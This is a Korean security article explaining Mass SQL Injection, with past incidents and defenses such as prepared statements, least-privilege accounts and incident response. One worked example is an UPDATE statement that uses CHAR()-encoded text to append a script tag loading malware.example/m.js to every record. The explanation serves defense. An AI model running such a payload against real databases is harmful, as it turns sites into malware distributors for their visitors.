Mass SQL Injection이 웹사이트 전체를 변조하는 방식과 방어 전략
Mass SQL Injection의 데이터베이스 일괄 변조 방식, 실제 감염 사례, 안전한 쿼리 작성과 침해 대응 절차를 정리한다.
2026-08-14 · 최초 발행 2025-05-29
단일 취약점이 데이터베이스 전체로 번지는 공격
Mass SQL Injection은 일반적인 SQL Injection을 확장해, 한 번의 공격으로 다수의 데이터베이스 레코드를 변조하는 방식이다. 여기서 Mass는 대량·집단이라는 뜻이며, 단일 취약점을 통해 피해 범위를 넓힌다는 점이 핵심이다.
공격자는 데이터베이스의 여러 테이블이나 특정 컬럼에 악성 스크립트를 일괄 삽입한다. 이후 변조된 값이 웹페이지에 출력되면 방문자의 브라우저에서 악성 동작이 실행될 수 있다. 웹사이트 자체가 악성코드 배포 경로가 되는 이유다.
요청값에서 방문자 브라우저까지 이어지는 경로
취약한 입력값이 SQL 쿼리에 포함되면 공격자는 데이터베이스 변경 구문을 실행할 수 있다. 이 과정에서 다수의 레코드에 악성 스크립트가 추가되고, 평범한 방문 요청이 다시 공격 코드를 전달하는 통로가 된다.
인코딩과 일괄 갱신으로 피해 범위를 넓히는 방식
공격 코드는 웹 방화벽이나 입력 필터를 우회하려고 HEX(16진수) 형태로 인코딩될 수 있다. 0x3C736372697074...처럼 변환된 값은 필터링을 피하기 쉬우며, 데이터베이스에서 디코딩된 뒤 원래의 악성 코드로 실행될 수 있다.
다음은 모든 레코드의 content_column에 스크립트 태그를 덧붙이는 예시다.
UPDATE table_name SET content_column = content_column +
CHAR(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,109,97,108,119,97,114,101,46,101,120,97,109,112,108,101,47,109,46,106,115,39,62,60,47,115,99,114,105,112,116,62)
WHERE 1=1;이 코드는 실행 시 모든 레코드의 content_column에 <script src='http://malware.example/m.js'></script> 코드를 추가한다.
변조된 페이지는 악성 JavaScript나 iframe을 삽입해 외부 사이트를 불러올 수 있다. 방문자를 피싱 또는 악성코드 배포 사이트로 보내는 리다이렉션, location.href나 메타 리다이렉트 태그의 사용도 가능한 패턴이다. 쿠키를 탈취해 세션 하이재킹으로 이어지게 하거나, 브라우저 취약점을 이용한 드라이브 바이 다운로드를 유도할 수도 있다.
대규모 감염으로 나타난 사례
2008년 중국발 Mass SQL Injection 공격에서는 약 50만 개 이상의 웹사이트가 동시에 공격받았다. MS-SQL 데이터베이스의 취약점을 이용했으며, 감염된 사이트에는 동일한 악성 JavaScript 코드가 삽입됐다. 방문자는 자동으로 중국 내 악성코드 배포 서버에 연결됐다.
2011년 LizaMoon 사건은 약 130만 개 이상의 URL이 감염된 사례다. 주로 MS-SQL 데이터베이스를 쓰는 사이트가 대상이었고, 감염된 페이지에는 가짜 백신 설치를 유도하는 스크립트가 삽입됐다. iTunes와 같은 유명 서비스의 RSS 피드도 영향을 받았다.
변조 뒤에 남는 운영상 피해
데이터베이스 전체가 손상되면 복구 비용이 커진다. 사이트 방문자는 2차 감염 위험에 노출되고, 웹사이트 신뢰도는 떨어질 수 있다. 블랙리스트 등재, 개인정보 유출, 금융 사기로 이어질 위험도 있다.
서비스를 복구한 뒤에도 검색엔진에 악성 사이트로 등록된 상태가 지속되면 장기적인 손실이 발생할 수 있다. 따라서 취약한 요청을 막는 것뿐 아니라 변조 발생을 빠르게 확인하고 복구할 수 있는 운영 체계가 필요하다.
입력 처리와 데이터베이스 권한을 함께 제한하기
입력값은 특수문자와 HEX 코드처럼 의심스러운 값을 필터링하고, 정규표현식으로 허용된 입력 패턴만 받도록 구성한다. 비정상적으로 긴 쿼리스트링을 차단하고 일반적인 사용 패턴에서 벗어난 요청을 모니터링하는 것도 방어 수단이다.
쿼리는 문자열 결합 대신 매개변수화된 쿼리(Prepared Statements)로 작성해야 한다.
// 취약한 코드
String query = "SELECT * FROM users WHERE name = '" + userName + "'";
// 안전한 코드
PreparedStatement pstmt = connection.prepareStatement("SELECT * FROM users WHERE name = ?");
pstmt.setString(1, userName);데이터베이스 계정에는 필요한 최소 권한만 부여한다. 특히 웹 애플리케이션 계정의 UPDATE/INSERT 권한을 제한하면 공격이 성공했을 때의 변조 범위도 줄일 수 있다.
개발 코드에서 SQL과 출력을 분리하기
ORM(Object-Relational Mapping) 프레임워크를 사용하면 SQL을 직접 조합하는 방식을 줄이고 객체 매핑을 사용할 수 있다. Hibernate, Entity Framework 같은 검증된 프레임워크를 활용하는 방법이 있다.
저장 프로시저를 쓸 때도 동적 SQL 생성을 최소화하고 입력 매개변수 검증 로직을 포함해야 한다. 데이터베이스에서 가져온 값은 HTML 렌더링 전에 인코딩해 XSS를 막도록 처리한다.
# 취약한 코드
def get_user(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
return execute_query(query)
# 안전한 코드 - 매개변수화된 쿼리
def get_user_safe(username):
query = "SELECT * FROM users WHERE username = %s"
return execute_query(query, (username,))// PHP에서의 안전한 구현
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email");
$stmt->execute(['email' => $userEmail]);
$user = $stmt->fetch();백업·탐지·복구를 연결하는 침해 대응
침해가 확인되면 서비스 격리와 영향 범위 평가를 먼저 진행한다. 로그를 분석해 공격 벡터를 확인하고, 변조된 데이터베이스 테이블과 컬럼을 식별한다. 감염이 확인되지 않았을 때도 모니터링은 강화해야 한다.
손상된 데이터는 클린 백업에서 복원한다. 복원이 불가능하면 변조된 코드를 제거하는 스크립트를 작성해야 한다. 이어 공격 경로가 된 취약점을 식별해 수정하고, WAF 규칙 추가 같은 임시 방어 조치를 적용한다.
정기적인 데이터베이스 백업은 증분 백업과 전체 백업을 조합해 구성하며, 백업 무결성 검증과 복원 테스트를 함께 수행한다. WAF로 SQL Injection 패턴과 비정상 쿼리를 관찰하고, 취약점 스캐닝 및 침투 테스트로 방어 체계를 점검한다. 데이터베이스·웹서버·프레임워크의 보안 패치도 알려진 취약점에 맞춰 즉각 적용해야 한다.
재발 방지를 위해 코드 리뷰와 보안 감사를 강화하고 개발자 보안 교육을 지속한다. 예방, 탐지, 대응이 이어지는 체계가 있어야 단일 취약점이 대규모 데이터 변조와 방문자 감염으로 확산되는 일을 줄일 수 있다.